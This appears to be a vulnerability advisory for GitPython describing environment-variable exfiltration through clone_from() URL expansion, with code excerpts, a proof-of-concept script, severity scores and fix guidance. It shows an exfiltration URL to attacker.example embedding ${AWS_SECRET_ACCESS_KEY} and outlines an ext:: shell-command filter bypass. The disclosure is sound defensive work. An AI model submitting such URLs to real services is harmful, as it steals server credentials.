Skip to content

GHSA-rwj8-pgh3-r573 CVE-2026-67322 PYSEC-2026-3842

GitPython: Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from() URL

High PyPI
Severity
8.7 / 10
High · CVSS 4.0
Exploit chance (EPSS)
0.33%
Chance of exploitation in the next 30 days. Higher than 25.92% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
CWE-201 Insertion of Sensitive Information Into Sent Data
Fix
3.1.52
Upgrade gitpython to this version or later

Description

Summary

Repo.clone_from() passes the caller-supplied remote URL through Git.polish_url(), which on every non-Cygwin platform calls os.path.expandvars() on the URL before handing it to git clone. An attacker who controls the URL argument — the documented use case for clone_from() in "import repository from URL" features of CI servers, git-hosting mirrors, and dependency scanners — can embed $NAME / ${NAME} tokens that are expanded server-side to the values of the hosting process's environment variables. The resulting URL, now containing the secret, is transmitted over the network to the attacker-named host. This crosses the trust boundary between an untrusted remote URL and the server's process environment, disclosing secrets such as AWS_SECRET_ACCESS_KEY or GITHUB_TOKEN with no precondition beyond the ability to submit a clone URL.

Details

Affected versions: gitpython (PyPI) — all releases up to and including 3.1.50 (latest at time of reporting); confirmed present on the main branch.

Git.polish_url() unconditionally applies environment-variable expansion to its input on the non-Cygwin branch:

git/cmd.py (v3.1.50), lines 907–925:

@classmethod
def polish_url(cls, url: str, is_cygwin: Union[None, bool] = None) -> PathLike:
    """Remove any backslashes from URLs to be written in config files.
    ...
    """
    if is_cygwin is None:
        is_cygwin = cls.is_cygwin()

    if is_cygwin:
        url = cygpath(url)
    else:
        url = os.path.expandvars(url)          # <-- line 921
        if url.startswith("~"):
            url = os.path.expanduser(url)
        url = url.replace("\\\\", "\\").replace("\\", "/")
    return url

Repo._clone() — reached from the public Repo.clone_from() (git/repo/base.py:1520) and Repo.clone() — runs the unsafe-protocol check on the raw URL and then passes the polished (post-expansion) URL to the git clone subprocess:

git/repo/base.py (v3.1.50), lines 1407–1418:

if not allow_unsafe_protocols:
    Git.check_unsafe_protocols(url)
if not allow_unsafe_options:
    Git.check_unsafe_options(options=list(kwargs.keys()), unsafe_options=cls.unsafe_git_clone_options)
if not allow_unsafe_options and multi:
    Git.check_unsafe_options(options=multi, unsafe_options=cls.unsafe_git_clone_options)

proc = git.clone(
    multi,
    "--",
    Git.polish_url(url),          # <-- line 1417: expanded URL sent to `git clone`
    clone_path,
    ...
)

Because os.path.expandvars() on POSIX substitutes $NAME and ${NAME} with os.environ[NAME] when set (and on Windows additionally %NAME%), an attacker-supplied URL such as:

https://attacker.example/steal/${AWS_SECRET_ACCESS_KEY}/repo.git

is rewritten server-side to embed the literal secret value in the path component, and git clone then issues an HTTP(S) request (and DNS lookup, if the token is placed in the host label) carrying that value to attacker.example. The clone itself will typically fail, but the secret has already left the server by that point.

polish_url() was written as a local-path normalisation helper (Cygwin path conversion, ~ expansion, backslash fixing) and is applied indiscriminately to remote URLs. There is no scheme check, no expand_vars=False opt-out for the clone URL, and no documentation that the URL undergoes environment expansion — the clone_from docstring describes url only as a "Valid git url". By contrast, the maintainers already flag env-var expansion as a security concern for the local repository path argument: Repo.__init__ emits a deprecation warning ("The use of environment variables in paths is deprecated for security reasons", git/repo/base.py:226–231) and offers expand_vars=False. The same treatment is missing for the network-bound clone URL.

Secondary consequence (unsafe-protocol filter bypass). Because check_unsafe_protocols() runs on the pre-expansion URL (line 1408) but the post-expansion URL is what reaches git, an attacker who additionally controls any environment variable in the server process could set e.g. X=ext::sh -c '...' and submit url="$X"; the raw string $X passes the ext:: filter, then expands to an ext:: remote-helper transport that git will execute. This requires a second precondition (env-var write) and is noted as an aggravating factor rather than a separate vulnerability.

PoC

Tested against gitpython==3.1.50 on Linux with Python 3 and git on PATH.

python3 -m venv /tmp/gp-venv
/tmp/gp-venv/bin/pip install gitpython==3.1.50
/tmp/gp-venv/bin/python poc.py

poc.py:

#!/usr/bin/env python3
"""
PoC: environment-variable exfiltration via Repo.clone_from() URL.

Demonstrates that an attacker-controlled `url` argument to Repo.clone_from()
is passed through os.path.expandvars() before being given to `git clone`,
so `$NAME` tokens in the URL are replaced with the server process's
environment-variable values and transmitted to the attacker-named host.

The PoC intercepts the Popen argv to show the exact URL handed to `git`
without performing real network I/O.
"""
import os
import sys
import subprocess
import tempfile

# Simulate a sensitive server-side environment variable.
os.environ["AWS_SECRET_ACCESS_KEY"] = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"

import git                              # noqa: E402
from git import Git, Repo               # noqa: E402

print(f"gitpython version: {git.__version__}")

# --- Layer 1: Git.polish_url() directly --------------------------------------
attacker_url = "https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git"
polished = Git.polish_url(attacker_url)
print("\n[Layer 1] polish_url result:")
print(f"  input : {attacker_url}")
print(f"  output: {polished}")
if os.environ["AWS_SECRET_ACCESS_KEY"] in polished:
    print("  -> secret SUBSTITUTED into URL by polish_url()")

# --- Layer 2: full Repo.clone_from() -- capture argv given to `git` ----------
captured = {}
orig_popen = subprocess.Popen

class CapturingPopen(orig_popen):
    def __init__(self, cmd, *a, **kw):
        if isinstance(cmd, (list, tuple)) and "clone" in cmd:
            captured["cmd"] = list(cmd)
        super().__init__(cmd, *a, **kw)

subprocess.Popen = CapturingPopen
import git.cmd as gitcmd                # noqa: E402
gitcmd.safer_popen = CapturingPopen     # non-Windows: safer_popen == Popen

dest = tempfile.mkdtemp(prefix="gp_poc_")
try:
    Repo.clone_from(attacker_url, os.path.join(dest, "out"))
except Exception as e:
    # The clone fails (attacker.example does not resolve); we only need argv.
    print(f"\n[Layer 2] clone_from raised (expected): {type(e).__name__}")

subprocess.Popen = orig_popen

print("\n[Layer 2] argv passed to `git clone` subprocess:")
for tok in captured.get("cmd", []):
    print(f"  {tok}")

cmd = captured.get("cmd", [])
url_arg = cmd[cmd.index("--") + 1] if "--" in cmd else None
print(f"\n[Layer 2] URL argument given to git: {url_arg}")

secret = os.environ["AWS_SECRET_ACCESS_KEY"]
if url_arg and secret in url_arg:
    print(
        "\nVULNERABLE: server env var AWS_SECRET_ACCESS_KEY was interpolated "
        "into the remote clone URL; git would transmit it to attacker.example."
    )
    sys.exit(0)
print("\nNOT VULNERABLE")
sys.exit(1)

Expected output:

gitpython version: 3.1.50

[Layer 1] polish_url result:
  input : https://attacker.example/steal/$AWS_SECRET_ACCESS_KEY/repo.git
  output: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git
  -> secret SUBSTITUTED into URL by polish_url()

[Layer 2] clone_from raised (expected): GitCommandError

[Layer 2] argv passed to `git clone` subprocess:
  git
  clone
  -v
  --
  https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git
  /tmp/gp_poc_XXXXXXXX/out

[Layer 2] URL argument given to git: https://attacker.example/steal/wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY/repo.git

VULNERABLE: server env var AWS_SECRET_ACCESS_KEY was interpolated into the remote clone URL; git would transmit it to attacker.example.

The captured argv is the exact command line spawned by GitPython; against a real attacker-controlled host, git would issue a DNS lookup and HTTP(S) request to that host with the secret embedded in the request path.

Impact

Any application that calls Repo.clone_from() (or Repo.clone()) with a URL that is wholly or partially attacker-controlled — the canonical pattern for "import/mirror repository from URL" features in CI systems, source-code hosting platforms, dependency scanners, and build pipelines — allows an unauthenticated or low-privileged attacker to exfiltrate arbitrary environment variables from the server process, one per request, by naming them in the URL. Cloud credentials, API tokens, and signing keys stored in the environment are the primary targets. Applications that do not accept clone URLs from untrusted sources, or that run the cloner in a process with a fully stripped environment, are not affected. There is no direct integrity or availability impact.

Suggested fix: Remove the os.path.expandvars() (and os.path.expanduser()) call from Git.polish_url() for inputs that are remote URLs (contain :// or match user@host:path), or remove the expansion entirely and require callers who want local-path env expansion to perform it themselves — mirroring the existing deprecation on Repo(path, expand_vars=…). Additionally, apply check_unsafe_protocols() to the post-transformation URL so no future polish_url change can silently bypass the ext:: filter.

Affected versions

PyPI

PackageVulnerableFixed in
gitpython
< 3.1.52
3.1.52

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

gitpython PyPI → 3.1.52

pip
pip install --upgrade "gitpython>=3.1.52"
poetry
poetry add "gitpython>=3.1.52"
uv
uv add "gitpython>=3.1.52"

Severity breakdown

CVSS 4.0 8.7

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
None
User interaction
None
Confidentiality (vulnerable system)
High
Integrity (vulnerable system)
None
Availability (vulnerable system)
None
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None
Exploit maturity
Not defined
Scope
X

CVSS 3.1 7.5

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

Weakness

CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

How to prevent it
  • Architecture and Design: Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

CWE-201: Insertion of Sensitive Information Into Sent Data

The code transmits data to another actor, but a portion of the data includes sensitive information that should not be accessible to that actor.

How to prevent it
  • Requirements: Specify which data in the software should be regarded as sensitive. Consider which types of users should have access to which types of data.
  • Implementation: Ensure that any possibly sensitive data specified in the requirements is verified with designers to ensure that it is either a calculated risk or mitigated elsewhere. Any information that is not necessary to the functionality should be removed in order to lower both the overhead and the possibility of security sensitive data being sent.
  • System Configuration: Setup default error messages so that unexpected errors do not disclose sensitive information.
  • Architecture and Design: Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-83vg-56qc-22m7
GitPython validates a submodule's ".git" path only after cloning into it (RCE)
High Also affects gitpython
GHSA-gq48-pqfc-9p58
GitPython: Submodule.move() follows an attacker-committed intermediate symlink outside the worktree
Medium Also affects gitpython
GHSA-23mf-xhv8-69c2
GitPython: arbitrary file read via attacker-controlled branch name in `Head.checkout()` (incomplete fix of CVE-2026-78679)
High Also affects gitpython
GHSA-f9j4-qggq-h239
GitPython Remote.pull() refspec bypasses the --upload-pack unsafe-option guard, enabling arbitrary command execution
Critical Also affects gitpython
GHSA-w8jc-g24h-crhw
GitPython command wrappers omit unsafe protocol and option checks
High Also affects gitpython
GHSA-m64x-33q8-m5h7
GitPython parse_actor_and_date() is vulnerable to quadratic backtracking on malformed identity lines
High Also affects gitpython
GHSA-fx3j-rwgx-fr94
GitPython: separate_git_dir leaks env vars via crafted .gitmodules submodule name
High Also affects gitpython
GHSA-59cr-6r3x-644w
GitPython submodule update path traversal can write outside the repository
Medium Also affects gitpython
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor